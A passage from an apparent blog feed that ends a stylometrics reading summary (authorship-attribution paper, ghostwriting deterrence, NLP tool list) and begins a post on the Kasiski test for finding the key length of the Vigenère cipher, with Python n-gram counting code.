Authors: Helena Gómez-Adorno, Juan-Pablo Posadas-Duran, Germán Rios-Toledo, Grigori Sidorov, Gerardo Sierra
&lt;br /&gt;&lt;br /&gt;
Instituto Politécnico Nacional, Mexico; Universidad Nacional Autónoma de México, Mexico; Instituto Politécnico Nacional (IPN), Mexico; Centro Nacional de Investigación y Desarrollo Tecnológico, Mexico
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The paper compares the performance of different algorithms (Logistic Regression and two implementation of Support Vector Machine) and different sets of features (statistics like mean, average of word length, sentences length, punctuation and stop words among others) to classify writings of different authors.&lt;/p&gt;
&lt;p&gt;The Figure 1 of the paper shows that - using SVM over punctuation feature only yields a very good results. - using Logistic Regression as default for other combination of features yields very good results.&lt;/p&gt;
&lt;p&gt;While those are interesting facts, there is no clear evidence of it (a very small corpus was used).&lt;/p&gt;
&lt;p&gt;The paper shows that some authors’ styles are more sensible to some features and algorithms than others.&lt;/p&gt;
&lt;p&gt;From a total of 6 authors:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“[Punctuation-based models] classified the writing stage of a work above 70% of the times for two authors […], [in the case of other two authors] the combination of phraseology-and punctuation-based features obtained the best performance. The combination of all types of features obtained the best performance for [the remaining two authors]”&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It doesn’t look solid.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="what-kicked-everything"&gt;What kicked everything&lt;/h2&gt;
&lt;h3 id="detecting-deterring-ghostwritten-papers-best-practices"&gt;&lt;em&gt;Detecting deterring ghostwritten papers, best practices&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6CkRhdmlkIEEuIFRvbWFyIChFZCBEYW50ZSkKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6CkRhdmlkIEEuIFRvbWFyIChFZCBEYW50ZSkKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: David A. Tomar (Ed Dante)
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://thebestschools.org/resources/detecting-deterring-ghostwritten-papers-best-practices/"&gt;It is what started this.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Classify the students paying for a ghost writer in three categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Non native language: students that they need to write an essay in a foreign language, let’s say English. The student knows that he/she will have more opportunities to succeed if the essay is written by a native English speaker.&lt;/li&gt;
&lt;li&gt;Composition/Research deficient students: students that, while they can speak and write in the target language, they have hard time to write an essay or doing the homework.&lt;/li&gt;
&lt;li&gt;Lazy students: they prefer to pay for a service instead of doing the work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Detecting a ghost writer is hard and having solid proof of it is harder.&lt;/p&gt;
&lt;p&gt;The best strategy is to disallow the possibility from the begin making the decision of hiring a ghost writer much expensive, riskier.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In-class writing: the students write during the class so it is hard for a ghost writer to be there&lt;/li&gt;
&lt;li&gt;Multi-draft process: have a periodic review with the students and check the evolution of the essay/work.&lt;/li&gt;
&lt;li&gt;Personalization of the subject matter: use topics that are more personal and can be bind to the author. That part is important, the subject must be bound to the student in some verificable way otherwise a ghost writer could just write a personal subject about him/her!&lt;/li&gt;
&lt;li&gt;Original course materials: make the topic have something very unique. Don’t repeat yourself.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These should be combined and adapted to the particular class.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Having 1o1 meetings with the students randomly chosen to discuss the implementation details of a work makes the “multi-draft process” scalable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Exit interviews (interviews that happen when the student does a final submission) are an example of that.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A very nice article to read.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="resources"&gt;Resources&lt;/h2&gt;
&lt;p&gt;NLTK’s &lt;a href="https://www.nltk.org/_modules/nltk/tokenize/punkt.html"&gt;punkt&lt;/a&gt; module: Punkt Sentence Tokenizer&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“This tokenizer divides a text into a list of sentences by using an unsupervised algorithm to build a model for abbreviation words, collocations, and words that start sentences. It must be trained on a large collection of plaintext in the target language before it can be used.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“The NLTK data package includes a pre-trained Punkt tokenizer for English.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It is used to determine when a period marks the end of a sentence and when it doesn’t and things like that.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/euske/pdfminer/"&gt;PDFMiner&lt;/a&gt; (community): parser for PDF files&lt;/p&gt;
&lt;p&gt;&lt;a href="https://cligs.hypotheses.org/577"&gt;Blog post&lt;/a&gt; that explains how to call R code from Python using the &lt;code&gt;rpy2&lt;/code&gt; module. In particular how to call the R package &lt;code&gt;stylo&lt;/code&gt; from Python&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/computationalstylistics/stylo"&gt;Stylo&lt;/a&gt;: R package for stylometric analyses&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/evllabs/JGAAP"&gt;JGAAP&lt;/a&gt;: Java Graphical Authorship Attribution Program is a tool to allow nonexperts to use cutting edge machine learning techniques on text attribution problems&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.nltk.org/"&gt;NTLK&lt;/a&gt;: Natural Language Toolkit for Python&lt;/p&gt;
&lt;p&gt;&lt;a href="https://stanfordnlp.github.io/stanza/index.html"&gt;Stanza&lt;/a&gt;: A Python NLP Package for Many Human Languages&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/chrisspen/weka"&gt;Weka&lt;/a&gt;: a toolset/framework for ML like skilearn but with a GUI. It is very interesting.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://cschoel.github.io/nolds/nolds.html"&gt;Nolds&lt;/a&gt;: Python package with algorithms to analyze random sequences (signals, market time series, text perhaps?)&lt;/p&gt;
&lt;h2 id="some-other-resources"&gt;Some other resources&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/Hassaan-Elahi/Writing-Styles-Classification-Using-Stylometric-Analysis"&gt;Identifying Different Writing Styles in a Document Intrinsically Using Stylometric Analysis&lt;/a&gt; It is a single Python file with several metrics poorly documented. It could be useful to see the code for some cases because it has a lot of metrics, most of them mentioned in the paper of Zheng.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.turnitin.com/"&gt;Turnitin&lt;/a&gt;: among other stuff, it has a plagiarism detection.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://aliastechnology.com"&gt;ALIAS&lt;/a&gt; is program developed by Carole E. Chaski for &lt;em&gt;“lemmatizing, computing lexical frequency ranking, calculating lexical, sentential and text lengths, punctuation-edge counting, Part-Of-Speech-tagging (POS-tagging) , n-graph and n-gram sorting, and markedness subcategorizing”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Sadly it is a paid, closed source software.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;n-gram is used to denote the sequence of \(n\) elements like words or POS tags while n-graph denotes sequences of \(n\) characters.&lt;/p&gt;
&lt;/blockquote&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/11/12/TLDR-Stylometrics.html" rel="alternate" type="text/html" title="TL;DR Stylometrics"/>
    <category term="tldr" label="tldr"/>
    <category term="tl;dr" label="tl;dr"/>
    <category term="stylometric" label="stylometric"/>
    <published>2020-11-12T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/10/11/Kasiski-Test-Part-I.html</id>
    <title>Kasiski Test - Part I</title>
    <updated>2020-10-11T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;The tricky part of breaking the &lt;a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher"&gt;Vigenere cipher&lt;/a&gt; consists in finding the length of the key.&lt;/p&gt;
&lt;p&gt;We discussed this in the &lt;a href="/articles/2018/05/01/Breaking-Vigenere.html"&gt;breaking Vigenere&lt;/a&gt; post.&lt;/p&gt;
&lt;p&gt;In that occasion we used the &lt;a href="https://en.wikipedia.org/wiki/Hamming_distance"&gt;Hamming distance&lt;/a&gt; and the &lt;a href="/articles/2019/10/04/Index-of-Coincidence.html"&gt;Index of Coincidence&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But another method existed much before the development of the IC around 1922.&lt;/p&gt;
&lt;p&gt;In 1863, Kasiski published a method to guess the length of the secret key, method that we know today as the &lt;a href="https://en.wikipedia.org/wiki/Kasiski_examination"&gt;Kasiski test&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let’s explore a \(O(\vert s \vert)\) solution with a worst case of \(O(\vert s \vert^2)\)&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="the-naive-solution"&gt;The naive solution&lt;/h2&gt;
&lt;p&gt;The Kasiski test consists in finding repeated ngrams in the ciphertext and measure the distance between them.&lt;/p&gt;
&lt;p&gt;If there are repeated ngram in the plaintext that were &lt;em&gt;leaked&lt;/em&gt; in the ciphertext, that means that the secret key was also repeated exactly in that part.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                     repeated ngrams
                /----------/-----------/
    ptext:      69 63 65 20 69 63 65 20 62 61 62 79
    kstream:    73 6F 6E 67 73 6F 6E 67 73 6F 6E 67  (key = 73 6F 6E 67)
    ctext:      1A 0C 0B 47 1A 0C 0B 47 11 0E 0C 1E
                \----------\-----------\
                     repeated ngrams&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;label for='Ckl0IGlzIHBlcmZlY3RseSBwb3NzaWJsZSB0byBmaW5kIHJlcGVhdGVkIG5ncmFtcyByYW5kb21seSwKanVzdCBieSBsdWNrLiBUaG9zZSBhcmUgdGhlICJleGNlcHRpb25zIi4KCkkgd2lsbCB0YWxrIGFib3V0IHRoYXQgaW4gdGhlIHNlY29uZC1wYXJ0IHBvc3QuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='Ckl0IGlzIHBlcmZlY3RseSBwb3NzaWJsZSB0byBmaW5kIHJlcGVhdGVkIG5ncmFtcyByYW5kb21seSwKanVzdCBieSBsdWNrLiBUaG9zZSBhcmUgdGhlICJleGNlcHRpb25zIi4KCkkgd2lsbCB0YWxrIGFib3V0IHRoYXQgaW4gdGhlIHNlY29uZC1wYXJ0IHBvc3QuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
It is perfectly possible to find repeated ngrams randomly, just by luck. Those are the “exceptions”.
&lt;br /&gt;&lt;br /&gt;
I will talk about that in the second-part post.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;With some exceptions, the distance between two repeated ngrams in the ciphertext must be then a multiple of the length of the key.&lt;/p&gt;
&lt;p&gt;But for a particular ngram of length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, finding all the repeated ngrams requires scan the whole string, an effort of \(O(\vert s \vert)\), proportional to the size of the input string.&lt;/p&gt;
&lt;p&gt;Repeating the process for all the ngrams of length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; yields \(O(\vert s \vert^2)\).&lt;/p&gt;
&lt;p&gt;And that’s only for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Repeating everything again for the ngrams of length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and so on blows up quickly to \(O(\vert s \vert^3)\).&lt;/p&gt;
&lt;p&gt;No no, we can improve this.&lt;/p&gt;
&lt;h2 id="the-strategy"&gt;The strategy&lt;/h2&gt;
&lt;h3 id="as_ngram_repeated_positions-algorithm"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;as_ngram_repeated_positions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; algorithm&lt;/h3&gt;
&lt;p&gt;We build the list of &lt;em&gt;all&lt;/em&gt; repeated ngrams of length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; using hashing in \(O(\vert s \vert)\) and not \(O(\vert s \vert^2)\).&lt;/p&gt;
&lt;h3 id="merge_overlaping-algorithm"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;merge_overlaping&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; algorithm&lt;/h3&gt;
&lt;p&gt;&lt;label for='ClRoaXMgaXMgYW4gZXhhbXBsZSBvZgpbZHluYW1pYwpwcm9ncmFtbWluZ10oaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvRHluYW1pY19wcm9ncmFtbWluZykuClRha2UgYSBsb29rIG9mCltBdXRvbWF0aW5nIHRoZSBDcmFja2luZyBvZiBTaW1wbGUgQ2lwaGVycywgYnkgTWF0dGhldyBDLiBCZXJudHNlbl0oYXNzZXRzL2thc2lza2kvTWF0dGhld0Jlcm50c2VuQlVUaGVzaXMuN3opCmZvciBhIHNpbWlsYXIgaWRlYS4gPGEgaHJlZj0iL2Fzc2V0cy9jcnlwdG8va2FzaXNraS9wZXJmX2thc2lza2kucHkiPjxzcGFuIHN0eWxlPSJ3aGl0ZS1zcGFjZTogbm93cmFwOyI+PGkgY2xhc3M9ImZhYiBmYS1naXRodWIiPjwvaT4mbmJzcDtjb2RlPC9zcGFuPjwvYT4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoaXMgaXMgYW4gZXhhbXBsZSBvZgpbZHluYW1pYwpwcm9ncmFtbWluZ10oaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvRHluYW1pY19wcm9ncmFtbWluZykuClRha2UgYSBsb29rIG9mCltBdXRvbWF0aW5nIHRoZSBDcmFja2luZyBvZiBTaW1wbGUgQ2lwaGVycywgYnkgTWF0dGhldyBDLiBCZXJudHNlbl0oYXNzZXRzL2thc2lza2kvTWF0dGhld0Jlcm50c2VuQlVUaGVzaXMuN3opCmZvciBhIHNpbWlsYXIgaWRlYS4gPGEgaHJlZj0iL2Fzc2V0cy9jcnlwdG8va2FzaXNraS9wZXJmX2thc2lza2kucHkiPjxzcGFuIHN0eWxlPSJ3aGl0ZS1zcGFjZTogbm93cmFwOyI+PGkgY2xhc3M9ImZhYiBmYS1naXRodWIiPjwvaT4mbmJzcDtjb2RlPC9zcGFuPjwvYT4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
This is an example of &lt;a href="https://en.wikipedia.org/wiki/Dynamic_programming"&gt;dynamic programming&lt;/a&gt;. Take a look of &lt;a href="assets/kasiski/MatthewBerntsenBUThesis.7z"&gt;Automating the Cracking of Simple Ciphers, by Matthew C. Berntsen&lt;/a&gt; for a similar idea. &lt;a href="/assets/crypto/kasiski/perf_kasiski.py"&gt;&lt;span style="white-space: nowrap;"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/span&gt;&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Then, we build the list of the repeated ngrams of length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;reusing&lt;/em&gt; the finding of the previous step.&lt;/p&gt;
&lt;p&gt;This will require \(O(g)\) where \(g\) is the size of the list built in the previous step.&lt;/p&gt;
&lt;p&gt;While \(O(g) = O(\vert s \vert)\) in the worst case, it is expected to find &lt;em&gt;very few&lt;/em&gt; repeated ngrams of length &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so in the practice \(O(g) \ll O(\vert s \vert)\).&lt;/p&gt;
&lt;h3 id="deltas_from_positions-algorithm"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;deltas_from_positions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; algorithm&lt;/h3&gt;
&lt;p&gt;The distances between the ngrams found can also be found in \(O(g)\).&lt;/p&gt;
&lt;p&gt;The naive implementation would require \(O(g^2)\) but we can improve it a little.&lt;/p&gt;
&lt;h3 id="frequency_of_deltas-algorithm-aka-the-main"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; algorithm (aka the main)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will combine all the previous algorithms.&lt;/p&gt;
&lt;p&gt;It can be done roughly in \(O(\vert s \vert) + O(g^m)\) where \(m\) is the count of iterations that we repeat &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;merge_overlaping&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the worst case, \(O(g^m)\) behaves as \(O(\vert s \vert^2)\) and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be quadratic.&lt;/p&gt;
&lt;p&gt;But as we said, we don’t expect to find many repeated ngrams so the term \(O(g^m)\) will be negligible and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;frequency_of_deltas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will remain linear.&lt;/p&gt;
&lt;p&gt;We have the strategy, now we need the correct tools.&lt;/p&gt;
&lt;h2 id="data-structures"&gt;Data structures&lt;/h2&gt;
&lt;p&gt;We will use the following data structures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;dictionaries: with \(O(1)\) for insertion or update of a key.&lt;/li&gt;
&lt;li&gt;lists: with \(O(1)\) for append and \(O(n)\) for iteration.&lt;/li&gt;
&lt;li&gt;default-dictionaries: like the dictionaries but with the handy shortcut to create and add an entry in the dictionary if the key requested is not present.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Python is not the fastest language but it has all the tools needed.&lt;/p&gt;
&lt;p&gt;Let’s start!&lt;/p&gt;
&lt;h2 id="repeating-ngram-list---as_ngram_repeated_positions-algorithm"&gt;Repeating ngram list - &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;as_ngram_repeated_positions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; algorithm&lt;/h2&gt;
&lt;p&gt;We are interested in to find all the positions of every single repeated ngram in the text.&lt;/p&gt;
&lt;p&gt;Focus only on the ngrams of 2 characters for now.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9rYXNpc2tpX3NjYW5fY291bnQucG5nJyAvPm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9rYXNpc2tpX3NjYW5fY291bnQucG5nJyAvPm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/kasiski/kasiski_scan_count.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We need to count how many instances of the same ngram are, so we can know which are unique; and we need to track their position, so we can later know the distance between them.&lt;/p&gt;
&lt;p&gt;Storing every ngram instance in memory is expensive (for a 2 characters ngram you will have to store twice the source string).&lt;/p&gt;
&lt;p&gt;A simple solution is to use an id: different ngrams will have different ids while the instances of the &lt;em&gt;same&lt;/em&gt; ngram will have the same id.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 45%;" class='' alt='' src='/img/crypto/kasiski/kasiski_scan_positions.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The following Python fragment summarizes the above:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# input: s, the original text&lt;/span&gt;
&lt;span class="n"&gt;id_of_ngram&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;pos_sorted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="n"&gt;ngram_cnt_by_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;defaultdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ngram_cnt_by_id&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;# id==0 is reserved for deletions, see later&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ngram&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ngrams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;id_of_ngram&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ngram&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id_of_ngram&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="n"&gt;pos_sorted&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;ngram_cnt_by_id&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9hc19uZ3JhbV9yZXBlYXRlZF9wb3NpdGlvbnMucG5nJyAvPgpJbnB1dC1zaXplL3RpbWUtdGFrZW4gcmVsYXRpb25zaGlwIG9mCmBhc19uZ3JhbV9yZXBlYXRlZF9wb3NpdGlvbnNgLiA8YSBocmVmPSIvYXNzZXRzL2NyeXB0by9rYXNpc2tpL3BlcmZfa2FzaXNraS5weSI+PHNwYW4gc3R5bGU9IndoaXRlLXNwYWNlOiBub3dyYXA7Ij48aSBjbGFzcz0iZmFiIGZhLWdpdGh1YiI+PC9pPiZuYnNwO2NvZGU8L3NwYW4+PC9hPgptYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8va2FzaXNraS9hc19uZ3JhbV9yZXBlYXRlZF9wb3NpdGlvbnMucG5nJyAvPgpJbnB1dC1zaXplL3RpbWUtdGFrZW4gcmVsYXRpb25zaGlwIG9mCmBhc19uZ3JhbV9yZXBlYXRlZF9wb3NpdGlvbnNgLiA8YSBocmVmPSIvYXNzZXRzL2NyeXB0by9rYXNpc2tpL3BlcmZfa2FzaXNraS5weSI+PHNwYW4gc3R5bGU9IndoaXRlLXNwYWNlOiBub3dyYXA7Ij48aSBjbGFzcz0iZmFiIGZhLWdpdGh1YiI+PC9pPiZuYnNwO2NvZGU8L3NwYW4+PC9hPgptYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/kasiski/as_ngram_repeated_positions.png' /&gt;
Input-size/time-taken relationship of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;as_ngram_repeated_positions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. &lt;a href="/assets/crypto/kasiski/perf_kasiski.py"&gt;&lt;span style="white-space: nowrap;"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/span&gt;&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For a string of \(\vert s \vert\) characters the algorithm generates a list of \(\vert s \vert\) tuples. If chosen the data structures correctly, the algorithm runs in \(O(\vert s \vert)\) (linear time and space).&lt;/p&gt;
&lt;p&gt;One final step remains: once we have the list we need to filter out any unique ngram (those that have a counter of less than 2).&lt;/p&gt;
&lt;p&gt;This is also linear.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;pos_sorted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pos_sorted&lt;/span&gt;
                      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ngram_cnt_by_id&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 60%;" class='' alt='' src='/img/crypto/kasiski/kasiski_scan_count_filter.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The final result is a list of tuples &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with the positions of the ngrams and their identifiers &lt;em&gt;sorted&lt;/em&gt; by their position.&lt;/p&gt;
